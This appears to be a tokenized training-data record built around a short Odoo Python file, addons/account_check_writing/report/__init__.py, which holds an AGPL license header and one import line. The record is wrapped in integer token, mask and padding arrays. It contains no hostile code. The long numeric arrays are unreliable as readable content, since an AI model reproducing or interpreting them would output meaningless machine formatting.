3, 13641, 83, 199, 3, 5620, 13715, 199, 199, 2131, 275, 900, 14, 521, 342, 199, 1818, 63, 3403, 275, 900, 14, 15198, 1252, 7574, 63, 3403, 199, 199, 3, 5620, 13715, 199, 3, 27939, 199, 3, 5620, 13715, 199, 199, 533, 23125, 1296, 1451, 8, 785, 304, 272, 408, 272, 710, 658, 15123, 1296, 1451, 2842, 64, 1021, 1159, 1124, 1122, 63, 604, 8497, 1083, 2529, 376, 272, 1256, 402, 642, 1021, 12, 12162, 4039, 314, 4565, 666, 14, 339, 520, 41, 11458, 26, 267, 536, 520, 620, 288, 710, 536, 402, 314, 570, 12, 340, 30903, 461, 267, 862, 63, 6525, 520, 2155, 288, 1124, 549, 1040, 340, 314, 2397, 5594, 506, 282, 2082, 334, 73, 14, 69, 2020, 314, 8025, 288, 5594, 2934, 370, 862, 376, 23125, 1124, 35, 16698, 1040, 1414, 395, 1124, 797, 1040, 340, 652, 288, 3913, 12570, 506, 282, 2082, 14, 267, 862, 63, 264, 454, 520, 2155, 288, 1124, 549, 1040, 340, 314, 2397, 5594, 506, 282, 4444, 6857, 461, 570, 334, 73, 14, 69, 2020, 314, 8025, 288, 5594, 2934, 370, 862, 376, 23125, 1124, 7341, 50, 1040, 1414, 395, 1124, 797, 1040, 340, 652, 288, 3913, 12570, 506, 282, 570, 14, 267, 1568, 520, 1846, 288, 710, 570, 1159, 1568, 12, 315, 2783, 267, 15005, 520, 1846, 288, 710, 570, 1159, 7100, 900, 12, 465, 282, 574, 626, 883, 506, 3032, 370, 288, 1124, 521, 14, 15198, 28566, 267, 15005, 63, 466, 520, 658, 45, 4961, 63, 2711, 64, 288, 7494, 370, 15579, 314, 7100, 900, 14, 1666, 658, 45, 4961, 63, 2711, 2313, 267, 1305, 520, 620, 288, 437, 3747, 5148, 367, 314, 570, 14, 710, 3747, 5148, 365, 3747, 288, 641, 314, 627, 1000, 4856, 4068, 282, 13074, 2656, 12, 642, 5148, 5594, 506, 314, 288, 2243, 1329, 436, 314, 570, 1159, 25115, 27, 641, 1163, 2656, 1159, 12, 652, 5594, 288, 506, 6020, 587, 14, 2779, 1159, 2597, 3962, 367, 642, 901, 370, 506, 1124, 403, 4345, 267, 1305, 63, 466, 520, 658, 998, 63, 2711, 64, 288, 7494, 370, 15579, 314, 5148, 14, 1666, 658, 998, 63, 2711, 2313, 2043, 408, 339, 347, 636, 826, 721, 277, 12, 3066, 63, 604, 304, 267, 291, 14, 1773, 63, 604, 275, 3066, 63, 604, 267, 291, 14, 354, 275, 488, 267, 291, 14, 893, 63, 6525, 275, 756, 267, 291, 14, 893, 63, 264, 454, 275, 756, 267, 291, 14, 890, 275, 378, 267, 291, 14, 8180, 63, 466, 275, 603, 4961, 63, 2711, 14, 11588, 267, 291, 14, 8180, 275, 378, 267, 291, 14, 344, 63, 466, 275, 2870, 63, 2711, 14, 11588, 267, 291, 14, 344, 275, 488, 199, 199, 533, 23125, 1296, 1451, 2842, 8, 785, 304, 272, 408, 272, 1626, 1124, 15123, 1296, 1451, 2842, 1040, 909, 883, 506, 1202, 370, 2198, 1373, 503, 1655, 2385, 272, 626, 4898, 12396, 701, 376, 23125, 1124, 4924, 1040, 1414, 626, 1990, 4847, 370, 282, 3982, 272, 1654, 14, 272, 408, 272, 347, 636, 826, 721, 277, 304, 267, 986 ]
[ 199, 2319, 14, 8915, 2319, 199, 763, 199, 199, 15123, 7079, 365, 282, 10036, 367, 18549, 376, 23125, 1654, 334, 5589, 14904, 773, 315, 4465, 3555, 9, 199, 199, 624, 199, 199, 363, 452, 363, 275, 788, 15123, 7079, 418, 199, 199, 646, 984, 9948, 199, 646, 7449, 199, 504, 7449, 14, 1095, 492, 627, 199, 504, 7449, 14, 2550, 492, 627, 199, 504, 7449, 14, 515, 492, 931, 1294, 12, 19529, 12, 9017, 12, 18011, 515, 12, 25962, 12, 931, 904, 12, 365, 1095, 199, 199, 504, 14904, 773, 492, 23125, 12, 1125, 63, 8220, 12, 1125, 63, 808, 12, 1125, 63, 2625, 12, 1125, 63, 8102, 199, 199, 893, 26, 272, 687, 14904, 773, 492, 485, 13808, 63, 3472, 63, 8899, 258, 199, 2590, 3545, 26, 272, 485, 13808, 63, 3472, 63, 8899, 275, 909, 342, 258, 199, 199, 646, 5796, 199, 646, 2197, 199, 646, 11234, 199, 199, 504, 2838, 492, 1125, 465, 2838, 63, 705, 199, 504, 7449, 14, 1832, 63, 17869, 492, 14018, 199, 199, 893, 26, 272, 687, 15073, 492, 5228, 199, 2590, 3545, 26, 272, 687, 5228, 492, 5228, 199, 199, 646, 900, 421, 199, 3, 11016, 18964, 199, 3, 32316, 917, 687, 1455, 921, 1544, 14, 3995, 80, 529, 14, 1308, 15, 15619, 15, 1548, 15, 7928, 4348, 1146, 15, 199, 3, 11016, 18964, 199, 199, 533, 11305, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 627, 1247, 304, 267, 291, 423, 1247, 63, 1130, 275, 1211, 1332, 354, 12, 284, 9, 367, 284, 12, 536, 315, 3874, 8, 1247, 430, 339, 347, 636, 5675, 721, 277, 12, 536, 304, 267, 372, 291, 423, 1247, 63, 1130, 59, 354, 61, 199, 199, 16413, 51, 275, 661, 24418, 297, 283, 29204, 297, 283, 4584, 297, 283, 439, 82, 297, 283, 7551, 297, 283, 74, 324, 297, 881, 283, 74, 348, 297, 283, 20669, 297, 283, 4127, 297, 283, 15560, 297, 283, 30442, 297, 283, 7778, 358, 199, 199, 45, 4961, 63, 2711, 275, 11305, 360, 11588, 297, 283, 7486, 297, 283, 16058, 63, 4896, 4586, 297, 283, 16058, 63, 11655, 358, 199, 624, 199, 1040, 45, 4961, 63, 2711, 1040, 22975, 4212, 282, 7100, 900, 312, 10846, 370, 506, 11922, 199, 8, 405, 12848, 314, 8025, 1704, 470, 680, 339, 446, 1124, 7486, 18983, 4703, 365, 2257, 370, 314, 1890, 12, 9202, 2238, 370, 334, 292, 5210, 9, 314, 12709, 272, 446, 1124, 16058, 63, 4896, 4586, 18983, 4703, 365, 2257, 370, 314, 1654, 436, 9202, 2238, 370, 314, 12709, 272, 446, 1124, 16058, 63, 11655, 18983, 4703, 365, 2257, 370, 314, 1654, 436, 9202, 2238, 370, 314, 5382, 14, 272, 446, 1124, 11588, 18983, 4703, 1159, 5867, 365, 5809, 14, 199, 624, 199, 199, 998, 63, 2711, 275, 11305, 360, 11588, 297, 283, 14742, 358, 199, 624, 199, 1040, 998, 63, 2711, 1040, 22975, 4212, 282, 570, 1159, 5148, 1077, 506, 11922, 14, 339, 446, 1124, 14742, 18983, 710, 2870, 365, 6040, 370, 506, 4890, 14, 272, 446, 1124, 11588, 18983, 710, 2870, 365, 440, 663, 503, 2399, 730, 365, 5809, 14, 199, 624, 199, 199, 3, 5620, 13715, 199, 3, 13641, 83, 199, 3, 5620, 13715, 199, 199, 2131, 275, 900, 14, 521, 342, 199, 1818, 63, 3403, 275, 900, 14, 15198, 1252, 7574, 63, 3403, 199, 199, 3, 5620, 13715, 199, 3, 27939, 199, 3, 5620, 13715, 199, 199, 533, 23125, 1296, 1451, 8, 785, 304, 272, 408, 272, 710, 658, 15123, 1296, 1451, 2842, 64, 1021, 1159, 1124, 1122, 63, 604, 8497, 1083, 2529, 376, 272, 1256, 402, 642, 1021, 12, 12162, 4039, 314, 4565, 666, 14, 339, 520, 41, 11458, 26, 267, 536, 520, 620, 288, 710, 536, 402, 314, 570, 12, 340, 30903, 461, 267, 862, 63, 6525, 520, 2155, 288, 1124, 549, 1040, 340, 314, 2397, 5594, 506, 282, 2082, 334, 73, 14, 69, 2020, 314, 8025, 288, 5594, 2934, 370, 862, 376, 23125, 1124, 35, 16698, 1040, 1414, 395, 1124, 797, 1040, 340, 652, 288, 3913, 12570, 506, 282, 2082, 14, 267, 862, 63, 264, 454, 520, 2155, 288, 1124, 549, 1040, 340, 314, 2397, 5594, 506, 282, 4444, 6857, 461, 570, 334, 73, 14, 69, 2020, 314, 8025, 288, 5594, 2934, 370, 862, 376, 23125, 1124, 7341, 50, 1040, 1414, 395, 1124, 797, 1040, 340, 652, 288, 3913, 12570, 506, 282, 570, 14, 267, 1568, 520, 1846, 288, 710, 570, 1159, 1568, 12, 315, 2783, 267, 15005, 520, 1846, 288, 710, 570, 1159, 7100, 900, 12, 465, 282, 574, 626, 883, 506, 3032, 370, 288, 1124, 521, 14, 15198, 28566, 267, 15005, 63, 466, 520, 658, 45, 4961, 63, 2711, 64, 288, 7494, 370, 15579, 314, 7100, 900, 14, 1666, 658, 45, 4961, 63, 2711, 2313, 267, 1305, 520, 620, 288, 437, 3747, 5148, 367, 314, 570, 14, 710, 3747, 5148, 365, 3747, 288, 641, 314, 627, 1000, 4856, 4068, 282, 13074, 2656, 12, 642, 5148, 5594, 506, 314, 288, 2243, 1329, 436, 314, 570, 1159, 25115, 27, 641, 1163, 2656, 1159, 12, 652, 5594, 288, 506, 6020, 587, 14, 2779, 1159, 2597, 3962, 367, 642, 901, 370, 506, 1124, 403, 4345, 267, 1305, 63, 466, 520, 658, 998, 63, 2711, 64, 288, 7494, 370, 15579, 314, 5148, 14, 1666, 658, 998, 63, 2711, 2313, 2043, 408, 339, 347, 636, 826, 721, 277, 12, 3066, 63, 604, 304, 267, 291, 14, 1773, 63, 604, 275, 3066, 63, 604, 267, 291, 14, 354, 275, 488, 267, 291, 14, 893, 63, 6525, 275, 756, 267, 291, 14, 893, 63, 264, 454, 275, 756, 267, 291, 14, 890, 275, 378, 267, 291, 14, 8180, 63, 466, 275, 603, 4961, 63, 2711, 14, 11588, 267, 291, 14, 8180, 275, 378, 267, 291, 14, 344, 63, 466, 275, 2870, 63, 2711, 14, 11588, 267, 291, 14, 344, 275, 488, 199, 199, 533, 23125, 1296, 1451, 2842, 8, 785, 304, 272, 408, 272, 1626, 1124, 15123, 1296, 1451, 2842, 1040, 909, 883, 506, 1202, 370, 2198, 1373, 503, 1655, 2385, 272, 626, 4898, 12396, 701, 376, 23125, 1124, 4924, 1040, 1414, 626, 1990, 4847, 370, 282, 3982, 272, 1654, 14, 272, 408, 272, 347, 636, 826, 721, 277, 304, 267, 986, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Kilhog/odoo
addons/account_check_writing/report/__init__.py
446
1066
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import check_print # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 646, 1104, 63, 1361, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 646, 1104, 63, 1361, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
